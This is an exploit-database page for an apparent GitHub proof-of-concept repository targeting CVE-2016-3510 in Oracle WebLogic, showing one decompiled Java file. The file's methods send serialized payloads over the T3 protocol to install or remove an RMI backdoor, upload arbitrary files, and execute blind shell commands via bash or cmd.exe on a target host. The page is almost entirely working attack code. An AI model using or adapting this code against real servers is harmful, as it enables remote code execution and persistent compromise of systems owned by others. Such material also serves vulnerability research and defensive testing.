Exploit database

GH-ba656beb7c6396b0d3855cc5b877631e

babyteam1024/cve-2016-3510

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2016-3510

16 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
babyteam1024/cve-2016-3510Revision cf2c6f016256

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/com/supeream/weblogic/WebLogicOperation.java

Java · 1,815 bytes
package com.supeream.weblogic;

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

import com.supeream.Main;
import com.supeream.serial.SerialDataGenerator;
import com.supeream.serial.Serializables;

public class WebLogicOperation {

    public static void installRmi(String host, String port) throws Exception {
        byte[] payload = SerialDataGenerator.serialRmiDatas(new String[]{"install"});
        T3ProtocolOperation.send(host, port, payload);
    }

    public static void unInstallRmi(String host, String port) throws Exception {
        byte[] payload = SerialDataGenerator.serialRmiDatas(new String[]{"uninstall"});
        T3ProtocolOperation.send(host, port, payload);
    }

    public static void blind(String host, String port) throws Exception {
        byte[] payload = SerialDataGenerator.serialRmiDatas(new String[]{"blind", Main.cmdLine.getOptionValue("C")});
        T3ProtocolOperation.send(host, port, payload);
    }

    public static void uploadFile(String host, String port, String filePath, byte[] content) throws Exception {
        byte[] payload = SerialDataGenerator.serialUploadDatas(filePath, content);
        T3ProtocolOperation.send(host, port, payload);
    }

    public static void blindExecute(String host, String port, String cmd) throws Exception {
        String[] cmds = new String[]{cmd};
        if (Main.cmdLine.hasOption("os")) {
            if (Main.cmdLine.getOptionValue("os").equalsIgnoreCase("linux")) {
                cmds = new String[]{"/bin/bash", "-c", cmd};
            } else {
                cmds = new String[]{"cmd.exe", "/c", cmd};
            }
        }
        byte[] payload = SerialDataGenerator.serialBlindDatas(cmds);
        T3ProtocolOperation.send(host, port, payload);
    }

}